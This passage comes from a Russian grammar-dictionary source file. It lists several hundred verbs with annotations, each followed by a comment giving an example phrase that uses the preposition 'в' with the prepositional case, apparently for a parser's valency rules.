rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
